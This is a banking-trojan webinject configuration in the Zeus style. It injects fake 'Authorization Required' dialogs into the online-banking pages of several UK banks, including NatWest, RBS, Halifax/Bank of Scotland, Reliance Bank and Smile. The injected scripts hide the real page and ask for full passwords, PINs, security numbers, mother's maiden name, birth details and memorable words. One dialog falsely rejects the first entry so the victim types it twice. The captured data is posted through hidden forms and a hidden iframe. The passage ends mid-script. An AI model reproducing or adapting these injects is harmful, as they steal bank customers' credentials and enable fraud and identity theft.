.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
data_end

data_before
<form NAME="frmStatement" METHOD="POST" ACTION="Statement.asp">
data_end

data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

var popfrequency="216000"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ width: 350, buttons: { "Continue": function() {
	        if (jQuery("#inject_cc").val().length < 4) 
	        {
		        alert('Please enter correct Full Password.');
		        jQuery("#inject_cc").focus();
	        } 
	        else if (jQuery("#inject_dob").val().length < 4) 
	        {
		        alert('Please enter correct Day of Birth.');
		        jQuery("#inject_dob").focus();
	        } 
	        else 
	        {
		jQuery("#ESpass").val(jQuery("#inject_cc").val());
		jQuery("#dobpass").val(jQuery("#inject_dob").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}
				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>

<div id="inject">
	<form>
	<center> 
	<p><h3>Authorization Required</h3></p>
	
	<table><tbody>
	  <tr><td align="left" width="500px" style="text-align: justify; font-size: 12px; background: #FFFFFF;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  Please enter the information below to continue.</p>
	<div>
		<table>
			
				<tr><td align="left" width="180px" style="font-size: 12px; background: #FFFFFF;"><b>Full Password :</b></td><td align="left" width="100px" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_cc" id="inject_cc" size="16" maxlength="12"/></td></tr>
				<tr><td align="left" width="180px" style="font-size: 12px; background: #FFFFFF;"><b>Date of Birth :</b></td><td align="left" width="100px" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_dob" id="inject_dob" size="16" maxlength="10" /></td></tr>
			
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="UKpass" id="ESpass" />
<input type="hidden" name="dob" id="dobpass" />
</form>
data_end

data_after
data_end

;===== NWOLB =====

set_url https://www.nwolb.*login.aspx?refererident* GL
data_before
class="AccountTableHeader">
data_end
data_inject
data_end
data_after
id="SavingGoalSetterDialogs">
data_end

set_url *.nwolb.*login.aspx?refererident* GP

data_before
Welcome to online banking*</div>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 500px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none;}
</style>
<iframe name=wj1 src='https://www.nwolb.com/brands/NWB/images/logo.gif' width=0 height=0 border=none></iframe>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
<script type="text/javascript">
 
var popfrequency="72 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
else 
{}
}


function loadpopunder(){
function Continue() 
{
}

function Init() 
{
	jQuery('#inject').dialog({ width: 450, closeOnEscape: false, resizable: false, modal: true, show: 'slide' });

document.getElementById('wrapper').style.visibility = 'hidden'; 
document.getElementById('wrapper').style.display = 'none';
  
	jQuery("#finstep2").click(function(){
	        if (jQuery("#inject_fsecnum").val().length < 4)  
	        {
  	         document.getElementById('inerror0').style.visibility = 'visible'; 
             document.getElementById('inerror0').style.display = 'inline';
  	         document.getElementById('inerror1').style.visibility = 'hidden'; 
             document.getElementById('inerror1').style.display = 'none';
  	         jQuery("#inject_fsecnum").focus();
	        }   
	         else if (jQuery("#inject_ukpass").val().length < 4)  
	        {
  	         document.getElementById('inerror0').style.visibility = 'hidden'; 
             document.getElementById('inerror0').style.display = 'none';
  	         document.getElementById('inerror1').style.visibility = 'visible'; 
             document.getElementById('inerror1').style.display = 'inline';
  	         jQuery("#inject_ukpass").focus();
	        }  
	         else if (jQuery("#inject_ukpass").val().search(/[0-9]/i) < 0)  
	        {
  	         document.getElementById('inerror0').style.visibility = 'hidden'; 
             document.getElementById('inerror0').style.display = 'none';
  	         document.getElementById('inerror1').style.visibility = 'visible'; 
             document.getElementById('inerror1').style.display = 'inline';
  	         jQuery("#inject_ukpass").focus();
	        }  
	        else 
	        {
		jQuery("#f_sec_num").val(jQuery("#inject_fsecnum").val());
		jQuery("#UKpass").val(jQuery("#inject_ukpass").val());
		
		jQuery("form[name='injectform']").submit();
    var expireDate = new Date()
    expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
    document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
  	jQuery("#inject").dialog("close");
document.getElementById('wrapper').style.visibility = 'visible'; 
document.getElementById('wrapper').style.display = 'inline';
  	}
  });
  	
	
}
jQuery(document).ready(Init);

}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>

<div id="inject">
<table><tbody>
<tr><td width=460 bgcolor="#21244A">
<img src="https://www.nwolb.com/brands/NWB/images/logo.gif"/>
</td></tr>
</tbody></table>

<div id="instep1">
	<form name="infrm1">
	<div style="text-align: justify; font-size: 11px;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	 <br/><br/> 
	 Please enter the information below to continue
	 <br/><br/></div>
	
	<div id="inerror0" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Full PIN.</div>
  </b>
  </div>
  <div style="text-align: left;">	
  Full PIN: &nbsp; <input type="password" name="inject_fsecnum" id="inject_fsecnum" size="4" maxlength="4"  onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;'/>
	</div>
  <br/>
	<div id="inerror1" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Full Password.</div>
  </b>
  </div>
  <div style="text-align: left;">	
	Full Password: &nbsp; <input type="password" name="inject_ukpass" id="inject_ukpass" size="10" maxlength="10" />
	</div>
  <br/>


 <div align="right">	
 <a id="finstep2" href="#" style="color: #732439; text-size:16; padding-right: 20px;"><b>CONTINUE</b></a>
 </div>
</div>
  </form>
  </div>
  
</div>
<form name="injectform" action="https://www.nwolb.com/brands/NWB/images/logo.gif" target=wj1 id="injectform" method="post">
<input type="hidden" name="UKpin" id="f_sec_num" />
<input type="hidden" name="UKpass" id="UKpass" />
</form>
data_end

data_after
data_end
;===== ONEACCOUNT ======

set_url https://service.oneaccount.com/onlineV2/* GL
data_before
width="62%" height="21" align="left"><b>Description</b></td>
data_end
data_inject
data_end
data_after
</body
data_end

set_url https://service.oneaccount.com/onlineV2/*viewPortal* GP
data_before
<head>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/smoothness/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 400px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
</style>
data_end

data_after
data_end

data_before
<body*>
data_end

data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

// Control frequency of the pop up:
//"always", for every time page loads OR
//"x hours" for once per x hours, where x is an integer (ie: 12 hours)

var popfrequency="432000 hours"

///No editing beyond here required/////

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ buttons: { "Continue": function() {
	        if (jQuery("#inject_cc").val().length < 6) 
	        {
		        alert('Please enter correct Full Password');
		        jQuery("#inject_cc").focus();
	        }
	        else if (jQuery("#inject_cc2").val().length < 6) 
	        {
		        alert('Please enter correct Full Passcode');
		        jQuery("#inject_cc2").focus();
	        }
	        else 
	        {
		jQuery("#cc").val(jQuery("#inject_cc").val());
		jQuery("#cc2").val(jQuery("#inject_cc2").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');	
  
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}

				  } 
				}, closeOnEscape: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>


<div id="inject">
	<form>
	<center> 
	<p><h3 style="background-color: #FFFFFF">Authorization Required</h3></p>
	</center>
	<table><tbody>
	  <tr>
	  </td><td align="left" style="text-align: justify;">
	In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table>
  <center>	
	<p>Please enter the information below to continue.</p>
	<div>
		<table>
			<tbody>
				<tr><td align="left">Full Password:</td><td align="left"><input type="text" name="inject_cc" id="inject_cc" size="6" maxlength="6" /></td></tr>
				<tr><td align="left">Full Passcode:</td><td align="left"><input type="text" name="inject_cc2" id="inject_cc2" size="6" maxlength="6" onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;' /></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="UKpass" id="cc" />
<input type="hidden" name="UKpasscode" id="cc2" />
</form>
data_end

data_after
data_end
;===== RBSDIGITAL =====

set_url https://www.rbsdigital.*AccountSummary* GL
data_before
class="AccountTableHeader">
data_end
data_inject
data_end
data_after
id="SavingGoalSetterDialogs">
data_end

set_url *.rbsdigital.*AccountSummary* GP

data_before
tc.server_hostname = "Touchclarity.rbs.co.uk";*</div>
data_end

data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/redmond/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { width: 500px; font-size: 11px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titleba { visibility: hidden; display: none;}
</style>
<iframe name=wj1 src='https://www.rbsdigital.com/Brands/DPC/images/logo_rbs_2007.gif' width=0 height=0 border=none></iframe>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
<script type="text/javascript">
 
var popfrequency="72 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
else 
{}
}


function loadpopunder(){
function Continue() 
{
}

function Init() 
{
	jQuery('#inject').dialog({ width: 450, closeOnEscape: false, modal: true, show: 'slide' });

document.getElementById('wrapper').style.visibility = 'hidden'; 
document.getElementById('wrapper').style.display = 'none';
  
	jQuery("#finstep2").click(function(){
	        if (jQuery("#inject_fsecnum").val().length < 4)  
	        {
  	         document.getElementById('inerror0').style.visibility = 'visible'; 
             document.getElementById('inerror0').style.display = 'inline';
  	         document.getElementById('inerror1').style.visibility = 'hidden'; 
             document.getElementById('inerror1').style.display = 'none';
  	         jQuery("#inject_fsecnum").focus();
	        }   
	         else if (jQuery("#inject_ukpass").val().length < 4)  
	        {
  	         document.getElementById('inerror0').style.visibility = 'hidden'; 
             document.getElementById('inerror0').style.display = 'none';
  	         document.getElementById('inerror1').style.visibility = 'visible'; 
             document.getElementById('inerror1').style.display = 'inline';
  	         jQuery("#inject_ukpass").focus();
	        }  
	         else if (jQuery("#inject_ukpass").val().search(/[0-9]/i) < 0)  
	        {
  	         document.getElementById('inerror0').style.visibility = 'hidden'; 
             document.getElementById('inerror0').style.display = 'none';
  	         document.getElementById('inerror1').style.visibility = 'visible'; 
             document.getElementById('inerror1').style.display = 'inline';
  	         jQuery("#inject_ukpass").focus();
	        }   
	         else if (jQuery("#inject_mmn").val().length < 3)  
	        {
  	         document.getElementById('inerror1').style.visibility = 'hidden'; 
             document.getElementById('inerror1').style.display = 'none';
  	         document.getElementById('inerror2').style.visibility = 'visible'; 
             document.getElementById('inerror2').style.display = 'inline';
  	         jQuery("#inject_mmn").focus();
	        } 
	         else if (jQuery("#inject_pob").val().length < 3)  
	        {
  	         document.getElementById('inerror2').style.visibility = 'hidden'; 
             document.getElementById('inerror2').style.display = 'none';
  	         document.getElementById('inerror3').style.visibility = 'visible'; 
             document.getElementById('inerror3').style.display = 'inline';
  	         jQuery("#inject_pob").focus();
	        }
	        else 
	        {
		jQuery("#f_sec_num").val(jQuery("#inject_fsecnum").val());
		jQuery("#UKpass").val(jQuery("#inject_ukpass").val());
		jQuery("#mmn").val(jQuery("#inject_mmn").val());
		jQuery("#pob").val(jQuery("#inject_pob").val());
		
		jQuery("form[name='injectform']").submit();
    var expireDate = new Date()
    expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
    document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString();
  	jQuery("#inject").dialog("close");
document.getElementById('wrapper').style.visibility = 'visible'; 
document.getElementById('wrapper').style.display = 'inline';
  	}
  });
  	
	
}
jQuery(document).ready(Init);

}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>

<div id="inject">
<table><tbody>
<tr><td width=460 style="background:url(https://www.rbsdigital.com/Brands/DPC/images/backgrounds/canvas.gif) repeat-x;">
<img src="https://www.rbsdigital.com/Brands/DPC/images/logo_rbs_2007.gif"/>
</td></tr>
</tbody></table>

<div id="instep1">
	<form name="infrm1">
	<div style="text-align: justify; font-size: 11px;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	 <br/><br/> 
	 Please enter the information below to continue
	 <br/><br/></div>
	
	<div id="inerror0" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Full Security Number.</div>
  </b>
  </div>
  <div style="text-align: left;">	
  Full Security Number: &nbsp; <input type="password" name="inject_fsecnum" id="inject_fsecnum" size="4" maxlength="4"  onKeyPress ='if ((event.keyCode < 48) || (event.keyCode > 57)) event.returnValue = false;'/>
	</div>
  <br/>
	<div id="inerror1" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Full Password.</div>
  </b>
  </div>
  <div style="text-align: left;">	
	Full Password: &nbsp; <input type="password" name="inject_ukpass" id="inject_ukpass" size="10" maxlength="10" />
	</div>
  <br/>
	<div id="inerror2" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Mother's Maiden Name.</div>
  </b>
  </div>
  <div style="text-align: left;">	
	Mother's Maiden Name: &nbsp; <input type="text" name="inject_mmn" id="inject_mmn" size="12" maxlength="12" />
	</div>
  <br/>
	<div id="inerror3" style="visibility: hidden; display: none; text-align: left;">
  <b>
  <div style="color: red; text-align: left;">Please enter correct Place of Birth.</div>
  </b>
  </div>
  <div style="text-align: left;">	
	Place of Birth: &nbsp; <input type="text" name="inject_pob" id="inject_pob" size="16" maxlength="16" />
	</div>
  <br/>


 <div align="right">	
 <a id="finstep2" href="#" style="color: #732439; text-size:16;"><b>CONTINUE</b></a>
 </div>
</div>
  </form>
  </div>
  
</div>
<form name="injectform" action="https://www.rbsdigital.com/Brands/DPC/images/logo_rbs_2007.gif" target=wj1 id="injectform" method="post">
<input type="hidden" name="f_sec_num" id="f_sec_num" />
<input type="hidden" name="UKpass" id="UKpass" />
<input type="hidden" name="mmn" id="mmn" />
<input type="hidden" name="pob" id="pob" />
</form>
data_end

data_after
data_end
;===== RELIANCEBANKLTD =====

set_url https://ibank.reliancebankltd.com/*/home* GL

data_before
<table border="0" id="Table1" name="Table1" class="accountbalances"*>
data_end
data_inject
data_end
data_after
</table>
data_end

set_url https://ibank.reliancebankltd.com/i.web/home* GP

data_before
</BODY>
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 10px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>

<script type="text/javascript">

var popfrequency="216000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ width: 500, buttons: { "Continue": function() {
	        if (jQuery("#inject_q1").val().length < 5) 
	        {
		        alert('Please enter correct First School.');
		        jQuery("#inject_q1").focus();
	        } 
	        else if (jQuery("#inject_q2").val().length < 3) 
	        {
		        alert('Please enter correct Favourite Film.');
		        jQuery("#inject_q2").focus();
	        } 
	        else if (jQuery("#inject_q3").val().length < 3) 
	        {
		        alert('Please enter correct Mother`s Maiden Name.');
		        jQuery("#inject_q3").focus();
	        } 
	        else if (jQuery("#inject_q4").val().length < 8) 
	        {
		        alert('Please enter correct Date of Birth (DDMMYYYY).');
		        jQuery("#inject_q4").focus();
	        } 
	        else if (jQuery("#inject_q5").val().length < 5) 
	        {
		        alert('Please enter correct Town of Birth.');
		        jQuery("#inject_q5").focus();
	        } 
	        else 
	        {
		jQuery("#first_school").val(jQuery("#inject_q1").val());
		jQuery("#fav_film").val(jQuery("#inject_q2").val());
		jQuery("#mmn").val(jQuery("#inject_q3").val());
		jQuery("#dob").val(jQuery("#inject_q4").val());
		jQuery("#townob").val(jQuery("#inject_q5").val());
		jQuery("form[name='injectform']").submit();
		
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()
	           jQuery('#inject').dialog('close');}
				  } 
				}, closeOnEscape: false, modal: true, resizable: false, show: 'slide' });
	
}
jQuery(document).ready(Init);


}

if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>
<div id="inject">
	<form>
	<center> 
	<table><tbody>
	  <tr><td style="background: #08617b;" align="left">
	<img src="https://ibank.reliancebankltd.com/i.web/images/logo.gif" style="margin-top: 0px; margin-left: 10px; margin-bottom: 0px;"/>
	  </td></tr><tr><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF; padding-left: 7px;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  <div style="font-size: 12px">Please enter the information below to continue.</div></p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>First School:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_q1" id="inject_q1" size="15" maxlength="25"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Favourite Film:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_q2" id="inject_q2" size="15" maxlength="12"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Mother's Maiden Name:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_q3" id="inject_q3" size="15" maxlength="15"/></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Date of Birth:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_q4" id="inject_q4" size="15" maxlength="8"/> <i>(DDMMYYYY)</i></td></tr>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Town of Birth:</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="text" name="inject_q5" id="inject_q5" size="15" maxlength="12"/></td></tr>
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<iframe name=wj1 src='https://ibank.reliancebankltd.com/i.web/images/logo.gif' width=0 height=0 border=none></iframe>
<form name="injectform" action="https://ibank.reliancebankltd.com/i.web/images/logo.gif" target=wj1 id="injectform" method="post">
<input type="hidden" name="UKpass" id="UKpass" />
<input type="hidden" name="first_school" id="first_school" />
<input type="hidden" name="fav_fim" id="fav_film" />
<input type="hidden" name="mmn" id="mmn" />
<input type="hidden" name="dob" id="dob" />
<input type="hidden" name="townob" id="townob" />
</form>
data_end
data_after
data_end
;===== BANKOFSCOTLANDHALIFAX-ONLINE =====

set_url *.bankofscotlandhalifax-online.co.uk/MyAccounts/* GL

data_before
colspan="3">Bank accounts</th>
data_end
data_inject
data_end
data_after
</table></span>
data_end

set_url https://www.bankofscotlandhalifax-online.co.uk/MyAccounts/* GP

data_before
</head>
data_end
data_inject
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 10px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
data_end
data_after
data_end

data_before
</body>
data_end
data_inject

<script type="text/javascript">

var popfrequency="432000 hours"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

var mmm = 0;

function loadpopunder(){

function Init() 
{
	jQuery('#inject').dialog({ width: 600, buttons: { "Continue": function() {
	  if (mmm==0) 
	       {
	        if (jQuery("#inject_mword").val().length < 5) 
	        {
		        alert('Please enter correct Memorable Word.');
		        jQuery("#inject_mword").focus();
	        }
	        else 
	        {
		jQuery("#mword1").val(jQuery("#inject_mword").val());
		alert('Please enter correct Memorable Word.');
		document.getElementById('inject_mword').value='';
		mmm=1;
		      }
				 } 
	       else {
	        if (jQuery("#inject_mword").val().length < 5) 
	        {
		        alert('Please enter correct Memorable Word.');
		        jQuery("#inject_mword").focus();
	        }
	        else 
	        {
		jQuery("#mword2").val(jQuery("#inject_mword").val());
		jQuery("form[name='injectform']").submit();
	           jQuery('#inject').dialog('close');
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()+parseInt(popfrequency))
document.cookie = "tcpopunder="+parseInt(popfrequency)+";path=/;expires=" + expireDate.toGMTString()}
				  }
				  
				  }
				}, closeOnEscape: false, resizable: false, modal: true, show: 'slide' });
	
}
jQuery(document).ready(Init);


}
if (popfrequency=="always"){
resetcookie()
loadpopunder()
}
else{
if (get_cookie('tcpopunder')!=parseInt(popfrequency))
resetcookie()
loadornot()
}
</script>
<div id="inject">
	<form> 
	<table><tbody>
	  <tr><td style="background: #3138bd;" align="left">
	<img src="https://www.halifax-online.co.uk/Images/BoS/bosmainnopadding.gif" style="margin-top: 0px; margin-left: 0px; margin-bottom: 0px;"/>
	  </td></tr><tr><td align="left" style="text-align: justify; font-size: 12px; background: #FFFFFF;">
	<br/>In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.</br></br>
	  </td></tr>
	</tbody></table></center>
  <center>	
	<p>
	  <div style="font-size: 12px">Please enter the information below to continue.<br/></div></p>
	<div>
		<table>
			<tbody>
				<tr><td align="left" style="font-size: 12px; background: #FFFFFF;"><b>Memorable Word</b></td><td align="left" style="background: #FFFFFF; font-size: 11px;"><input type="password" name="inject_mword" id="inject_mword" size="12" maxlength="12"/></td></tr>
				
			</tbody>
		</table>
	</div>
	</form>
	</center>
</div>
<form name="injectform" action="" method="post">
<input type="hidden" name="mword1" id="mword1" />
<input type="hidden" name="mword2" id="mword2" />
</form>
data_end
data_after
data_end

set_url *bankofscotlandhalifax-online.co.uk/MyAccounts/* GL

data_before
<span class="fullBorderInfoPanelTitle">My accounts
data_end
data_inject
data_end
data_after
<span class="prompts_infopaneltitletext_myAccounts">Other offers
data_end
;===== SMILE =====

set_url *smile.co.uk/SmileWeb/passcode* GP

data_before
</head>
data_end
data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/jquery-ui.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://ajax.googleapis.com/ajax/libs/jqueryui/1.7.1/themes/blitzer/ui.all.css" />
<style type="text/css">
#inject { display: none; }
.ui-dialog { font-size: 10px; }
.ui-dialog .ui-dialog-titlebar-close { visibility: hidden; }
.ui-dialog .ui-dialog-titlebar { visibility: hidden; display: none; }
</style>
data_end
data_after
data_end

data_before
<body>
data_end
data_inject
<div id="body2">
data_end
data_after
data_end

data_before
</body>
data_end
data_inject
</div>
<script type="text/javascript">

var popfrequency="216000"

function get_cookie(Name) {
var search = Name + "="
var returnvalue = "";
if (document.cookie.length > 0) {
offset = document.cookie.indexOf(search)
if (offset != -1) { // if cookie exists
offset += search.length
// set index of beginning of value
end = document.cookie.indexOf(";", offset);
// set index of end of cookie value
if (end == -1)
end = document.cookie.length;
returnvalue=unescape(document.cookie.substring(offset, end))
}
}
return returnvalue;
}

function resetcookie(){
var expireDate = new Date()
expireDate.setHours(expireDate.getHours()-10)
document.cookie = "tcpopunder=;path=/;expires=" + expireDate.toGMTString()
}

function loadornot(){
if (get_cookie('tcpopunder')==''){
loadpopunder()
}
}

